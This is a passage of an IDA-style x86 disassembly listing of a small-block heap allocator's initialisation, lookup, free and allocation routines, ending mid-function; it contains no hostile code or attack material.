mov eax, ds:dword_44FE28
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword ptr [ebp+8], 3F8h
jbe short loc_422110
xor eax, eax
jmp short loc_42211D
; ---------------------------------------------------------------------------
loc_422110: ; CODE XREF: seg000:0042210Aj
mov eax, [ebp+8]
mov ds:dword_44FE28, eax
mov eax, 1
loc_42211D: ; CODE XREF: seg000:0042210Ej
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422120 proc near ; CODE XREF: sub_422000:loc_42202Cp
push ebp
mov ebp, esp
push 140h
push 0
mov eax, ds:dword_4EF060
push eax
call ds:dword_4F144C ; RtlAllocateHeap
mov ds:dword_4EF05C, eax
cmp ds:dword_4EF05C, 0
jnz short loc_422148
xor eax, eax
jmp short loc_422177
; ---------------------------------------------------------------------------
loc_422148: ; CODE XREF: sub_422120+22j
mov ecx, ds:dword_4EF05C
mov ds:dword_4EF050, ecx
mov ds:dword_4EF054, 0
mov ds:dword_4EF058, 0
mov ds:dword_4EF048, 10h
mov eax, 1
loc_422177: ; CODE XREF: sub_422120+26j
pop ebp
retn
sub_422120 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422180 proc near ; CODE XREF: sub_41C460+30p
; sub_421C60+21p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, ds:dword_4EF058
imul eax, 14h
mov ecx, ds:dword_4EF05C
add ecx, eax
mov [ebp+var_C], ecx
mov edx, ds:dword_4EF05C
mov [ebp+var_8], edx
loc_4221A2: ; CODE XREF: sub_422180+4Dj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_C]
jnb short loc_4221CF
mov ecx, [ebp+var_8]
mov edx, [ebp+arg_0]
sub edx, [ecx+0Ch]
mov [ebp+var_4], edx
cmp [ebp+var_4], 100000h
jnb short loc_4221C4
mov eax, [ebp+var_8]
jmp short loc_4221D1
; ---------------------------------------------------------------------------
loc_4221C4: ; CODE XREF: sub_422180+3Dj
mov eax, [ebp+var_8]
add eax, 14h
mov [ebp+var_8], eax
jmp short loc_4221A2
; ---------------------------------------------------------------------------
loc_4221CF: ; CODE XREF: sub_422180+28j
xor eax, eax
loc_4221D1: ; CODE XREF: sub_422180+42j
mov esp, ebp
pop ebp
retn
sub_422180 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4221E0 proc near ; CODE XREF: sub_41C460+4Cp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, 80000000h
mov ecx, [ebp+var_4]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
and edx, eax
test edx, edx
jnz short loc_422231
mov eax, [ebp+var_8]
and eax, 0Fh
test eax, eax
jnz short loc_422231
mov ecx, [ebp+var_8]
and ecx, 0FFFh
test ecx, ecx
jz short loc_422231
mov [ebp+var_C], 1
jmp short loc_422238
; ---------------------------------------------------------------------------
loc_422231: ; CODE XREF: sub_4221E0+2Fj
; sub_4221E0+39j ...
mov [ebp+var_C], 0
loc_422238: ; CODE XREF: sub_4221E0+4Fj
mov eax, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_4221E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422240 proc near ; CODE XREF: sub_421D10+E8p
; sub_421D10+168p ...
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_3C], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_4]
sub eax, [edx+0Ch]
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
shr ecx, 0Fh
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
imul edx, 204h
mov eax, [ebp+var_3C]
lea ecx, [eax+edx+144h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_4]
sub edx, 4
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
mov ecx, [eax]
sub ecx, 1
mov [ebp+var_30], ecx
mov edx, [ebp+var_1C]
add edx, [ebp+var_30]
mov [ebp+var_38], edx
mov eax, [ebp+var_38]
mov ecx, [eax]
mov [ebp+var_14], ecx
mov edx, [ebp+var_1C]
mov eax, [edx-4]
mov [ebp+var_C], eax
mov ecx, [ebp+var_14]
and ecx, 1
test ecx, ecx
jnz loc_4223D8
mov edx, [ebp+var_14]
sar edx, 4
sub edx, 1
mov [ebp+var_24], edx
cmp [ebp+var_24], 3Fh
jbe short loc_4222CF
mov [ebp+var_24], 3Fh
loc_4222CF: ; CODE XREF: sub_422240+86j
mov eax, [ebp+var_38]
mov ecx, [ebp+var_38]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_4223B1
cmp [ebp+var_24], 20h
jnb short loc_422346
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+44h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+44h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_24]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_422344
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
loc_422344: ; CODE XREF: sub_422240+EAj
jmp short loc_4223B1
; ---------------------------------------------------------------------------
loc_422346: ; CODE XREF: sub_422240+A5j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+0C4h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+0C4h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_24]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_4223B1
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_4223B1: ; CODE XREF: sub_422240+9Bj
; sub_422240:loc_422344j ...
mov eax, [ebp+var_38]
mov ecx, [eax+8]
mov edx, [ebp+var_38]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+var_38]
mov edx, [ecx+4]
mov eax, [ebp+var_38]
mov ecx, [eax+8]
mov [edx+8], ecx
mov edx, [ebp+var_30]
add edx, [ebp+var_14]
mov [ebp+var_30], edx
loc_4223D8: ; CODE XREF: sub_422240+70j
mov eax, [ebp+var_30]
sar eax, 4
sub eax, 1
mov [ebp+var_28], eax
cmp [ebp+var_28], 3Fh
jbe short loc_4223F1
mov [ebp+var_28], 3Fh
loc_4223F1: ; CODE XREF: sub_422240+1A8j
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jnz loc_422555
mov edx, [ebp+var_1C]
sub edx, [ebp+var_C]
mov [ebp+var_34], edx
mov eax, [ebp+var_C]
sar eax, 4
sub eax, 1
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 3Fh
jbe short loc_422421
mov [ebp+var_2C], 3Fh
loc_422421: ; CODE XREF: sub_422240+1D8j
mov ecx, [ebp+var_30]
add ecx, [ebp+var_C]
mov [ebp+var_30], ecx
mov edx, [ebp+var_30]
sar edx, 4
sub edx, 1
mov [ebp+var_28], edx
cmp [ebp+var_28], 3Fh
jbe short loc_422443
mov [ebp+var_28], 3Fh
loc_422443: ; CODE XREF: sub_422240+1FAj
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz loc_42254F
mov ecx, [ebp+var_34]
mov edx, [ebp+var_34]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_422531
cmp [ebp+var_2C], 20h
jnb short loc_4224C6
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_3C]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_3C]
add edx, [ebp+var_2C]
mov [edx+4], cl
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_4224C4
mov edx, 80000000h
mov ecx, [ebp+var_2C]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4224C4: ; CODE XREF: sub_422240+26Aj
jmp short loc_422531
; ---------------------------------------------------------------------------
loc_4224C6: ; CODE XREF: sub_422240+225j
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_2C]
mov [eax+4], dl
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_422531
mov ecx, [ebp+var_2C]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_422531: ; CODE XREF: sub_422240+21Bj
; sub_422240:loc_4224C4j ...
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov eax, [ebp+var_34]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_34]
mov eax, [edx+4]
mov ecx, [ebp+var_34]
mov edx, [ecx+8]
mov [eax+8], edx
loc_42254F: ; CODE XREF: sub_422240+209j
mov eax, [ebp+var_34]
mov [ebp+var_1C], eax
loc_422555: ; CODE XREF: sub_422240+1B9j
mov ecx, [ebp+var_C]
and ecx, 1
test ecx, ecx
jnz short loc_42256B
mov edx, [ebp+var_2C]
cmp edx, [ebp+var_28]
jz loc_42267B
loc_42256B: ; CODE XREF: sub_422240+31Dj
mov eax, [ebp+var_28]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_20], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_20]
mov [eax+8], ecx
mov edx, [ebp+var_20]
mov eax, [ebp+var_1C]
mov [edx+4], eax
mov ecx, [ebp+var_1C]
mov edx, [ecx+4]
mov eax, [ebp+var_1C]
mov [edx+8], eax
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_1C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_42267B
cmp [ebp+var_28], 20h
jnb short loc_422614
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_4225F2
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4225F2: ; CODE XREF: sub_422240+39Aj
mov eax, 80000000h
mov ecx, [ebp+var_28]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+44h], ecx
jmp short loc_42267B
; ---------------------------------------------------------------------------
loc_422614: ; CODE XREF: sub_422240+377j
mov ecx, [ebp+var_3C]
add ecx, [ebp+var_28]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_3C]
add eax, [ebp+var_28]
mov [eax+4], cl
test edx, edx
jnz short loc_422652
mov ecx, [ebp+var_28]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_422652: ; CODE XREF: sub_422240+3F5j
mov ecx, [ebp+var_28]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_3C]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_3C]
mov [eax+edx*4+0C4h], ecx
loc_42267B: ; CODE XREF: sub_422240+325j
; sub_422240+36Dj ...
mov ecx, [ebp+var_1C]
mov edx, [ebp+var_30]
mov [ecx], edx
mov eax, [ebp+var_1C]
add eax, [ebp+var_30]
mov ecx, [ebp+var_30]
mov [eax-4], ecx
mov edx, [ebp+var_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+var_8]
mov [ecx], eax
mov edx, [ebp+var_8]
cmp dword ptr [edx], 0
jnz loc_422809
cmp ds:dword_4EF054, 0
jz loc_4227F8
mov eax, ds:dword_4EF04C
shl eax, 0Fh
mov ecx, ds:dword_4EF054
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp+var_18], edx
push 4000h
push 8000h
mov eax, [ebp+var_18]
push eax
call ds:dword_4F1460 ; VirtualFree
mov edx, 80000000h
mov ecx, ds:dword_4EF04C
shr edx, cl
mov eax, ds:dword_4EF054
mov ecx, [eax+8]
or ecx, edx
mov edx, ds:dword_4EF054
mov [edx+8], ecx
mov eax, ds:dword_4EF054
mov ecx, [eax+10h]
mov edx, ds:dword_4EF04C
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, ds:dword_4EF054
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, ds:dword_4EF054
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, ds:dword_4EF054
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_422756
mov edx, ds:dword_4EF054
mov eax, [edx+4]
and al, 0FEh
mov ecx, ds:dword_4EF054
mov [ecx+4], eax
loc_422756: ; CODE XREF: sub_422240+500j
mov edx, ds:dword_4EF054
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz loc_4227F8
push 8000h
push 0
mov eax, ds:dword_4EF054
mov ecx, [eax+0Ch]
push ecx
call ds:dword_4F1460 ; VirtualFree
mov edx, ds:dword_4EF054
mov eax, [edx+10h]
push eax
push 0
mov ecx, ds:dword_4EF060
push ecx
call ds:dword_4F1454 ; RtlFreeHeap
mov edx, ds:dword_4EF058
imul edx, 14h
mov eax, ds:dword_4EF05C
add eax, edx
mov ecx, ds:dword_4EF054
add ecx, 14h
sub eax, ecx
push eax
mov edx, ds:dword_4EF054
add edx, 14h
push edx
mov eax, ds:dword_4EF054
push eax
call sub_41F9A0
add esp, 0Ch
mov ecx, ds:dword_4EF058
sub ecx, 1
mov ds:dword_4EF058, ecx
mov edx, [ebp+arg_0]
cmp edx, ds:dword_4EF054
jbe short loc_4227EC
mov eax, [ebp+arg_0]
sub eax, 14h
mov [ebp+arg_0], eax
loc_4227EC: ; CODE XREF: sub_422240+5A1j
mov ecx, ds:dword_4EF05C
mov ds:dword_4EF050, ecx
loc_4227F8: ; CODE XREF: sub_422240+46Fj
; sub_422240+520j
mov edx, [ebp+arg_0]
mov ds:dword_4EF054, edx
mov eax, [ebp+var_4]
mov ds:dword_4EF04C, eax
loc_422809: ; CODE XREF: sub_422240+462j
mov esp, ebp
pop ebp
retn
sub_422240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422810 proc near ; CODE XREF: sub_421BE0+1Dp
; sub_421D10+99p
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 38h
push esi
mov eax, ds:dword_4EF058
imul eax, 14h
mov ecx, ds:dword_4EF05C
add ecx, eax
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
add edx, 17h
and edx, 0FFFFFFF0h
mov [ebp+var_28], edx
mov eax, [ebp+var_28]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 20h
jge short loc_42285C
or edx, 0FFFFFFFFh
mov ecx, [ebp+var_20]
shr edx, cl
mov [ebp+var_24], edx
mov [ebp+var_34], 0FFFFFFFFh
jmp short loc_422871
; ---------------------------------------------------------------------------
loc_42285C: ; CODE XREF: sub_422810+36j
mov [ebp+var_24], 0
mov ecx, [ebp+var_20]
sub ecx, 20h
or eax, 0FFFFFFFFh
shr eax, cl
mov [ebp+var_34], eax
loc_422871: ; CODE XREF: sub_422810+4Aj
mov ecx, ds:dword_4EF050
mov [ebp+var_18], ecx
loc_42287A: ; CODE XREF: sub_422810+94j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_4228A6
mov eax, [ebp+var_18]
mov ecx, [ebp+var_24]
and ecx, [eax]
mov edx, [ebp+var_18]
mov eax, [ebp+var_34]
and eax, [edx+4]
or ecx, eax
test ecx, ecx
jz short loc_42289B
jmp short loc_4228A6
; ---------------------------------------------------------------------------
loc_42289B: ; CODE XREF: sub_422810+87j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_42287A
; ---------------------------------------------------------------------------
loc_4228A6: ; CODE XREF: sub_422810+70j
; sub_422810+89j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz loc_42298D
mov eax, ds:dword_4EF05C
mov [ebp+var_18], eax
loc_4228BA: ; CODE XREF: sub_422810+D7j
mov ecx, [ebp+var_18]
cmp ecx, ds:dword_4EF050
jnb short loc_4228E9
mov edx, [ebp+var_18]
mov eax, [ebp+var_24]
and eax, [edx]
mov ecx, [ebp+var_18]
mov edx, [ebp+var_34]
and edx, [ecx+4]
or eax, edx
test eax, eax
jz short loc_4228DE
jmp short loc_4228E9
; ---------------------------------------------------------------------------
loc_4228DE: ; CODE XREF: sub_422810+CAj
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_4228BA
; ---------------------------------------------------------------------------
loc_4228E9: ; CODE XREF: sub_422810+B3j
; sub_422810+CCj
mov ecx, [ebp+var_18]
cmp ecx, ds:dword_4EF050
jnz loc_42298D
loc_4228F8: ; CODE XREF: sub_422810+104j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnb short loc_422916
mov eax, [ebp+var_18]
cmp dword ptr [eax+8], 0
jz short loc_42290B
jmp short loc_422916
; ---------------------------------------------------------------------------
loc_42290B: ; CODE XREF: sub_422810+F7j
mov ecx, [ebp+var_18]
add ecx, 14h
mov [ebp+var_18], ecx
jmp short loc_4228F8
; ---------------------------------------------------------------------------
loc_422916: ; CODE XREF: sub_422810+EEj
; sub_422810+F9j
mov edx, [ebp+var_18]
cmp edx, [ebp+var_2C]
jnz short loc_422967
mov eax, ds:dword_4EF05C
mov [ebp+var_18], eax
loc_422926: ; CODE XREF: sub_422810+135j
mov ecx, [ebp+var_18]
cmp ecx, ds:dword_4EF050
jnb short loc_422947
mov edx, [ebp+var_18]
cmp dword ptr [edx+8], 0
jz short loc_42293C
jmp short loc_422947
; ---------------------------------------------------------------------------
loc_42293C: ; CODE XREF: sub_422810+128j
mov eax, [ebp+var_18]
add eax, 14h
mov [ebp+var_18], eax
jmp short loc_422926
; ---------------------------------------------------------------------------
loc_422947: ; CODE XREF: sub_422810+11Fj
; sub_422810+12Aj
mov ecx, [ebp+var_18]
cmp ecx, ds:dword_4EF050
jnz short loc_422967
call sub_422D50
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jnz short loc_422967
xor eax, eax
jmp loc_422D41
; ---------------------------------------------------------------------------
loc_422967: ; CODE XREF: sub_422810+10Cj
; sub_422810+140j ...
mov edx, [ebp+var_18]
push edx
call sub_422E60
add esp, 4
mov ecx, [ebp+var_18]
mov edx, [ecx+10h]
mov [edx], eax
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
cmp dword ptr [ecx], 0FFFFFFFFh
jnz short loc_42298D
xor eax, eax
jmp loc_422D41
; ---------------------------------------------------------------------------
loc_42298D: ; CODE XREF: sub_422810+9Cj
; sub_422810+E2j ...
mov edx, [ebp+var_18]
mov ds:dword_4EF050, edx
mov eax, [ebp+var_18]
mov ecx, [eax+10h]
mov [ebp+var_38], ecx
mov edx, [ebp+var_38]
mov eax, [edx]
mov [ebp+var_30], eax
cmp [ebp+var_30], 0FFFFFFFFh
jz short loc_4229D0
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov eax, [ebp+var_24]
and eax, [edx+ecx*4+44h]
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [edx+ecx*4+0C4h]
or eax, esi
test eax, eax
jnz short loc_422A05
loc_4229D0: ; CODE XREF: sub_422810+19Bj
mov [ebp+var_30], 0
loc_4229D7: ; CODE XREF: sub_422810+1F3j
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov esi, [ebp+var_34]
and esi, [ecx+eax*4+0C4h]
or edx, esi
test edx, edx
jnz short loc_422A05
mov edx, [ebp+var_30]
add edx, 1
mov [ebp+var_30], edx
jmp short loc_4229D7
; ---------------------------------------------------------------------------
loc_422A05: ; CODE XREF: sub_422810+1BEj
; sub_422810+1E8j
mov eax, [ebp+var_30]
imul eax, 204h
mov ecx, [ebp+var_38]
lea edx, [ecx+eax+144h]
mov [ebp+var_4], edx
mov [ebp+var_20], 0
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_24]
and edx, [ecx+eax*4+44h]
mov [ebp+var_1C], edx
cmp [ebp+var_1C], 0
jnz short loc_422A52
mov [ebp+var_20], 20h
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov edx, [ebp+var_34]
and edx, [ecx+eax*4+0C4h]
mov [ebp+var_1C], edx
loc_422A52: ; CODE XREF: sub_422810+226j
; sub_422810+259j
cmp [ebp+var_1C], 0
jl short loc_422A6B
mov eax, [ebp+var_1C]
shl eax, 1
mov [ebp+var_1C], eax
mov ecx, [ebp+var_20]
add ecx, 1
mov [ebp+var_20], ecx
jmp short loc_422A52
; ---------------------------------------------------------------------------
loc_422A6B: ; CODE XREF: sub_422810+246j
mov edx, [ebp+var_20]
mov eax, [ebp+var_4]
mov ecx, [eax+edx*8+4]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov eax, [edx]
sub eax, [ebp+var_28]
mov [ebp+var_8], eax
mov ecx, [ebp+var_8]
sar ecx, 4
sub ecx, 1
mov [ebp+var_14], ecx
cmp [ebp+var_14], 3Fh
jle short loc_422A9C
mov [ebp+var_14], 3Fh
loc_422A9C: ; CODE XREF: sub_422810+283j
mov edx, [ebp+var_14]
cmp edx, [ebp+var_20]
jz loc_422CC0
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_422B8A
cmp [ebp+var_20], 20h
jge short loc_422B1F
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov ecx, [edx+ecx*4+44h]
and ecx, eax
mov edx, [ebp+var_30]
mov eax, [ebp+var_38]
mov [eax+edx*4+44h], ecx
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_38]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_422B1D
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
not eax
mov ecx, [ebp+var_18]
mov edx, [ecx]
and edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_422B1D: ; CODE XREF: sub_422810+2F3j
jmp short loc_422B8A
; ---------------------------------------------------------------------------
loc_422B1F: ; CODE XREF: sub_422810+2AEj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
and eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_38]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_422B8A
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
not edx
mov eax, [ebp+var_18]
mov ecx, [eax+4]
and ecx, edx
mov edx, [ebp+var_18]
mov [edx+4], ecx
loc_422B8A: ; CODE XREF: sub_422810+2A4j
; sub_422810:loc_422B1Dj ...
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov edx, [ebp+var_10]
mov eax, [edx+4]
mov [ecx+4], eax
mov ecx, [ebp+var_10]
mov edx, [ecx+4]
mov eax, [ebp+var_10]
mov ecx, [eax+8]
mov [edx+8], ecx
cmp [ebp+var_8], 0
jz loc_422CC0
mov edx, [ebp+var_14]
mov eax, [ebp+var_4]
lea ecx, [eax+edx*8]
mov [ebp+var_C], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_10]
mov eax, [ebp+var_C]
mov [edx+8], eax
mov ecx, [ebp+var_C]
mov edx, [ebp+var_10]
mov [ecx+4], edx
mov eax, [ebp+var_10]
mov ecx, [eax+4]
mov edx, [ebp+var_10]
mov [ecx+8], edx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_422CC0
cmp [ebp+var_14], 20h
jge short loc_422C5A
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
test ecx, ecx
jnz short loc_422C38
mov eax, 80000000h
mov ecx, [ebp+var_14]
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+var_18]
mov [eax], edx
loc_422C38: ; CODE XREF: sub_422810+410j
mov edx, 80000000h
mov ecx, [ebp+var_14]
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+44h], eax
jmp short loc_422CC0
; ---------------------------------------------------------------------------
loc_422C5A: ; CODE XREF: sub_422810+3EEj
mov eax, [ebp+var_38]
add eax, [ebp+var_14]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_38]
add edx, [ebp+var_14]
mov [edx+4], al
